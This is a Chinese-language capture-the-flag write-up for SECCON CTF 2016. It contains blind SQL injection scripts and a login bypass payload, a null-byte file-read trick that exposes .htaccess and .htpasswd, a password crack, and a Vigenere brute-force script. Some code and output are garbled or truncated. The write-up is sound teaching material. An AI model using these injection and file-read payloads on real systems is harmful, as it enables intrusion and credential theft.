

Seccon CTF 2016 部分Writeup.md

原创

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24 篇文章 0 订阅

订阅专栏



[Web](#)

34 篇文章 2 订阅

订阅专栏

[web100 basiq](#)

[web200 pppppoxy](#)

[web300 uncomfortable-web](#)

[web300 biscuiti](#)

[crypto100 vigenere](#)

做了国外的题才发现差的有多远。。。还是太菜了。。。

web100 basiq

看了看源码请求什么的, 发现这道题是通过js请求CGI拿数据, 没有什么大问题, 然后看看js, 有个 `client.js`, 跟进看看login 啊之类的函数

```

function login(message){
    if(message.status!='OK'){
        alert(message.error);
        return;
    }
    loginuser = message.data;
    $.getJSON('keiba.cgi?action=expenditure', expenditure);

    var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
    if(loginuser == 'admin'){
        links.push({label:'Admin', href:'/admin/'});
    }

    $('div.login').text('[ ]');

    for(var i=0; i<links.length; i++){
        if(i>0){
            $('div.login').append(document.createTextNode(' | '))
        }
        $('div.login')
            .append($('')
                .attr('href',links[i].href)
                .text(links[i].label));
    }
    $('div.login').append(document.createTextNode(' ] '));
    .....
    .....
    .....
}

```

发现了一个 `admin` 页面，访问下，发现需要用户名和密码，也就是说这里是唯一一处不通过CGI的地方，那么便猜想是不是这里存在注入。

输入用户名 `admin`，密码 `1' or 1=1 -- a`。

果然成功登陆进去了，抓个包看看是个BASIC认证，那么就可以写脚本爆破了。

然后我先写了个脚本如下：

```

import requests

import base64


url="http://basiq.pwn.seccon.jp/admin/"

r=requests.session()

ans=""

header={

'Host': 'basiq.pwn.seccon.jp',

'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0',
}

```

```
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
}

for i in xrange(1,100):

    start=33

    end=127

    while start<end:

        if end-start==1:

            param="admin:1' or if(ascii(substring((select group_concat(table_name) from information_sch
header[ 'Authorization ']='Basic '+base64.b64encode(param)

content=r.get(url,headers=header).content

if '401 Unauthorized' in content:

    start=end

else:

    end=start

else:

    mid=(start+end)/2

param="admin:1' or if(ascii(substring((select group_concat(table_name) from information_sch
header[ 'Authorization ']='Basic '+base64.b64encode(param)

#print header

content=r.get(url,headers=header).content

if '401 Unauthorized' in content:

    start=mid

else:

    end=mid

ans+=chr(start)
```

```
print ans.encode('hex')
```

跑的时候先打了三个空行，然后直接逗号

```
$ python basiq.py  
  
,B  
,BO  
,BOX  
,BOX_  
,BOX_V  
,BOX_VO  
,BOX_VOU  
,BOX_VOUC  
,BOX_VOUCH  
,BOX_VOUCHER_19876131
```

那么很显然我的区间[33,127]是错的，有表名在范围外的，但是改成[0,127]之后还是不行。

结果还是一样的

```
,BOX_VOUCHER,COURSE,ENTRY,  
,BOX_VOUCHER,COURSE,ENTRY,R  
,BOX_VOUCHER,COURSE,ENTRY,RA  
,BOX_VOUCHER,COURSE,ENTRY,RAC  
,BOX_VOUCHER,COURSE,ENTRY,RACE  
,BOX_VOUCHER,COURSE,ENTRY,RACE,  
,BOX_VOUCHER,COURSE,ENTRY,RACE,R  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RE  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RES  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESU  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESUL  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,R  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RU  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUN  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNN  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNE  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,T  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TR  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRA  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRAN  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANS  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSA  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSAC  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACT  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTI  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTIO  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,W  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WI  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_V  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VO  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOU  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOUC  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOUCH  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOUCH  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOUCHER  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOUCHER  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOUCHER  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOUCHER  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOUCHER  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOUCHER  
,BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOUCHER  
http://127.0.0.1:876131  
BOX_VOUCHER,COURSE,ENTRY,RACE,RESULT,RUNNER,TRANSACTION,WIN_VOUCHER
```

而且后面这些表我都爆了一遍也没啥东西。

那么就是第一个没有炸出来的表了。

也就是说很可能用了中文字符，或是别的编码的字符，至少占用了2字节以上的字符了。

这就稍稍麻烦了，需要转换下payload，把直接的字符串形式的表名先 `hex` 一下在 `substring` 截取来爆破。

即爆破它的16进制字符串就好啦，然后

爆破表名的poc如下：

```
import requests
import base64
url="http://basiq.pwn.seccon.jp/admin/"
r=requests.session()
ans=""
header={
    'Host': 'basiq.pwn.seccon.jp',
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0',
}
for i in xrange(1,100):
    start=33
    end=127
    while start<end:
        if end-start==1:
            param="admin:1' or if(ascii(substring((select hex(group_concat(table_name)) from information_schema.tables limit 0,1)), "+str(i)+")>=32 and ascii(substring((select hex(group_concat(table_name)) from information_schema.tables limit 0,1)), "+str(i)+")<=41)"+chr(start)
            header['Authorization']='Basic '+base64.b64encode(param)
            content=r.get(url,headers=header).content
            if '401 Unauthorized' in content:
                start=end
            else:
                end=start
        else:
            mid=(start+end)/2
            param="admin:1' or if(ascii(substring((select hex(group_concat(table_name)) from information_schema.tables limit 0,1)), "+str(mid)+")>=32 and ascii(substring((select hex(group_concat(table_name)) from information_schema.tables limit 0,1)), "+str(mid)+")<=41)"+chr(start)
            header['Authorization']='Basic '+base64.b64encode(param)
            #print header
            content=r.get(url,headers=header).content
            if '401 Unauthorized' in content:
                start=mid
            else:
                end=mid
    ans+=chr(start)
    print ans
```

截图如下，只看第一个表。

```
(21:00:57) -> python basiq.py
E
E2
E29
E298
E298B
E298B9
E298B9E
E298B9E2
E298B9E29
E298B9E298
E298B9E298B
E298B9E298BA
E298B9E298BAE
E298B9E298BAE2
E298B9E298BAE29
E298B9E298BAE298
E298B9E298BAE298B
E298B9E298BAE298BB
E298B9E298BAE298BB2
E298B9E298BAE298BB2C
http://blog.csdn.net/qq_19876131
```

2C 是逗号的16进制，

也就是前面一大堆是第一张表名了。

接下来正常爆库就行了。

该表的列有 id, name, pass

然后读取内容，需要将刚才的一对16进制编码下，然后表名是 @@@

所以最后的flag如下图：

```
-(21:31:05)-> python basiq.py
S
SE
SEC
SECC
SECCO
SECCON
SECCON{
SECCON{C
SECCON{Ca
SECCON{Car
SECCON{Carn
SECCON{Carni
SECCON{Carniv
SECCON{Carniva
SECCON{Garnival
SECCON{Carnival}
http://blog.csdn.net/qq_19876131
```

web200 pppppoxy

看到一个exe。。。秒趟。。先跳为敬

web300 uncomfortable-web

题目允许上传py,sh,pl脚本，并且执行返回结果。

直接弹shell的没用。

那就先规规矩矩的试试。

上传如下

```
curl http://127.0.0.1:81/ -v -L
```

发现一个目录 `authed` 和 `select.cgi`

目录被禁止访问了，

然后看看cgi，可以传参。

上传

```
curl http://127.0.0.1:81/select.cgi?txt=a -v -L
```

发现提示是 `authed/a.txt`，

也就是说这个cgi读取的是authed下的文件，由于服务器是apache，而且一般来说访问不了目录多半是配置 `.htaccess`，利用%00截断访问

The terminal shows two curl commands. The first is a standard GET request to the root. The second is a POST request to 'select.cgi?txt=.htaccess%00' which triggers the directory traversal vulnerability. The apache log on the right shows the resulting 200 OK response with the requested file content (the .htaccess file) displayed.

```
POST /? HTTP/1.1
Host: uncomfortableweb.pwn.seccon.jp
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101
Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://uncomfortableweb.pwn.seccon.jp/?
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary-----114516504615321888661343521522
Content-Length: 296

-----114516504615321888661343521522
Content-Disposition: form-data; name="file"; filename="simple3.sh"
Content-Type: application/x-shellscrip
curl http://127.0.0.1:81/select.cgi?txt=.htaccess%00 -v -L
-----114516504615321888661343521522..
```

	Download	Upload	Total	Spent	Left	Speed
HTTP/1.1 200 OK	0	0	0	0	0	0
< Date: Mon, 12 Dec 2016 13:45:03 GMT						
< Server: Apache						
< Connection: close						
< Transfer-Encoding: chunked						
< Content-Type: text/html; charset=utf-8						
<						
{ [data not shown]						
117 353 0 353 0 0 18426 0						
Closing connection #0						
</html>						
</body>						
<form action="?quot; method="get">						
<select name="txt"></select>						
<option value="?quot;a">?a</option>						
<option value="?quot;b">?b</option>						
</select>						
</form>						
<hr>						
AuthUserFile /var/www/html-inner/authed/.htpasswd
						
AuthGroupFile /dev/null
						
AuthName "SECCON 2016"
						
AuthType Basic
						
Require user keigo
						
</body></html>						
</pre>
<p><p> 						

http://blog.csdn.net/qq_19876131

果然访问得到要访问 `authed` 文件夹的用户名是 `keigo`，并且得到另一个配置文件 `htpasswd`，访问之拿到密码 `LdnoMJCeVy.SE`

然后用 `JohnTheRipper` 解密如下：

```
keigo:test
http://blog.csdn.net/qq_19876131
1 password hash cracked. 0 left
```

得到密码是 `test`。访问上去。

看到有个文件夹叫做 `sqlinj`，继续跟进访问

进去后发现有100个cgi文件。

然后跑一下发现都没有动静，后来看别人的wp，说是72.cgi有sql注入，但是我在补题的时候估计提目关了把，没有测成功，据说是接下来就普通联合注入爆库就可以了。

web300 biscuiti

这道题我单独写了篇blog，以纪念我在这道题上犯的无数的蠢。。。。

链接：http://blog.csdn.net/qq_19876131/article/details/53674972

crypto100 vigenere

题目给了密文和部分明文，还有vigenere映射表。

```
Vigenere
k: ????????????
p: SECCON{????????????????????????????????????}
c: LMIG}RPEDOEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe
|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
+-----
A|ABCDEFGHIJKLMNOPQRSTUVWXYZ{ }
B|BCDEFGHIJKLMNOPQRSTUVWXYZ{ }A
C|CDEFGHIJKLMNOPQRSTUVWXYZ{ }AB
D|DEFGHIJKLMNOPQRSTUVWXYZ{ }ABC
E|EFGHIJKLMNOPQRSTUVWXYZ{ }ABCD
F|FGHIJKLMNOPQRSTUVWXYZ{ }ABCDE
G|GHIJKLMNOPQRSTUVWXYZ{ }ABCDEF
H|HIJKLMNOPQRSTUVWXYZ{ }ABCDEFG
I|IJKLMNOPQRSTUVWXYZ{ }ABCDEFGH
J|JKLMNOPQRSTUVWXYZ{ }ABCDEFGHI
K|JKLMNOPQRSTUVWXYZ{ }ABCDEFGHIJ
L|LMNOPQRSTUVWXYZ{ }ABCDEFGHIJK
M|MNPQRSTUVWXYZ{ }ABCDEFGHIJKL
N|NOPQRSTUVWXYZ{ }ABCDEFGHIJKLM
O|OPQRSTUVWXYZ{ }ABCDEFGHIJKLMN
P|PQRSTUVWXYZ{ }ABCDEFGHIJKLMNO
Q|QRSTUWXYZ{ }ABCDEFGHIJKLMNOP
R|RSTUWXYZ{ }ABCDEFGHIJKLMNOPQ
S|STUWXYZ{ }ABCDEFGHIJKLMNOPQR
T|TUVWXYZ{ }ABCDEFGHIJKLMNOPQRS
U|UVWXYZ{ }ABCDEFGHIJKLMNOPQRST
V|VWXYZ{ }ABCDEFGHIJKLMNOPQRSTU
W|WXYZ{ }ABCDEFGHIJKLMNOPQRSTUV
X|XYZ{ }ABCDEFGHIJKLMNOPQRSTUVW
Y|YZ{ }ABCDEFGHIJKLMNOPQRSTUVWX
Z|Z{ }ABCDEFGHIJKLMNOPQRSTUVWXYZ
{|{}ABCDEFHIJKLMNOPQRSTUVWXYZ{ }
}|{}ABCDEFHIJKLMNOPQRSTUVWXYZ{ }
```

密钥长度12，由给出的部分明文推出前7位的key为 **VIGENER**，也就是还剩五位，然后我们已知明文的hash，就可以通过枚举密钥解密来对比明文hash值。

但是五位密钥的话， 28^5 大概1700万+，这里我看密钥样子我猜测第八位密钥为 **E**，这样就只用枚举60万+。最后脚本如下：

```

import hashlib
vigenere='ABCDEFGHIJKLMNOPQRSTUVWXYZ()'
key="VIGENERE"
len_key=12
p="SECCON{?????BCDEFDEF?????KLMNOPQ?????VWXYZ}"
c="LMIG}RPEDOEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ"
cnt=0
def distance(a,b): #a-b
    if a>b:
        return 28-(vigenere.find(a)-vigenere.find(b))
    else:
        return (vigenere.find(b)-vigenere.find(a))
for i1 in vigenere:
    for j in vigenere:
        for k in vigenere:
            for l in vigenere:
                tmp=key+i1+j+k+l
                ans=""
                cnt+=1
                for i in xrange(len(p)):
                    ans+=vigenere[distance(tmp[i%12],c[i])]
                print ans,cnt
                if hashlib.md5(ans).hexdigest()=='f528a6ab914c1ecf856a1d93103948fe':
                    a=raw_input("Success! flag is "+ans)

```

运行截图如下：

```

SECCON{ABACWBCDEDEFGHIKDKLMNOPQRSTUOVWXYZ} 54947
SECCON{ABACVBCDEDEFGHIKCKLMNOPQRSTUNVWXYZ} 54948
SECCON{ABACUBCDEDEFGHIKBKLMNOPQRSTUMVWXYZ} 54949
SECCON{ABACTBCDEDEFGHIKAKLMNOPQRSTULVWXYZ} 54950
SECCON{ABACSBBCDEDEFGHIK}KLMNOPQRSTUKVWXYZ} 54951
SECCON{ABACRBCDEDEFGHIK{KLMNOPQRSTUJVWXYZ} 54952
SECCON{ABACQBCDEDEFGHIKZKLMNOPQRSTUIVWXYZ} 54953
SECCON{ABACPBCDEDEFGHIKYKLMNOPQRSTUHVWXYZ} 54954
SECCON{ABACOBCDEDEFGHIKXKLMNOPQRSTUGVWXYZ} 54955
SECCON{ABACNBCDEDEFGHIKWKLMNOPQRSTUFVWXYZ} 54956
SECCON{ABACMBCDEDEFGHIKVKLMNOPQRSTUEVWXYZ} 54957
SECCON{ABAACLBCDEDEFGHIKUKLMNOPQRSTUDVWXYZ} 54958
SECCON{ABACKBCDEDEFGHIKTKLMNOPQRSTUCVWXYZ} 54959
SECCON{ABACJBCDEDEFGHIKSKLMNOPQRSTUBVWXYZ} 54960
SECCON{ABACIBCDEDEFGHIKRKLMNOPQRSTUAVWXYZ} 54961
SECCON{ABACHBCDEDEFGHIKQKLMNOPQRSTU}VWXYZ} 54962
SECCON{ABACGBCDEDEFGHIKPKLMNOPQRSTU{VWXYZ} 54963
SECCON{ABACFBCDEDEFGHIKOKLMNOPQRSTUZVWXYZ} 54964
SECCON{ABABEBCDEDEFGHIJNKLMLNOPQRSTTYVWXYZ} 54965
SECCON{ABABDBCDEDEFGHIJMKLMNOPQRSTTXVWXYZ} 54966
SECCON{ABABCBCDEDEFGHIJLKLMLNOPQRSTTUVWXYZ} 54967
SECCON{ABABBBBCDEDEFGHIJKKLMNOPQRSTTVVWXYZ} 54968
SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUUVWXYZ} 54969
Success! flag is SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYZ}

```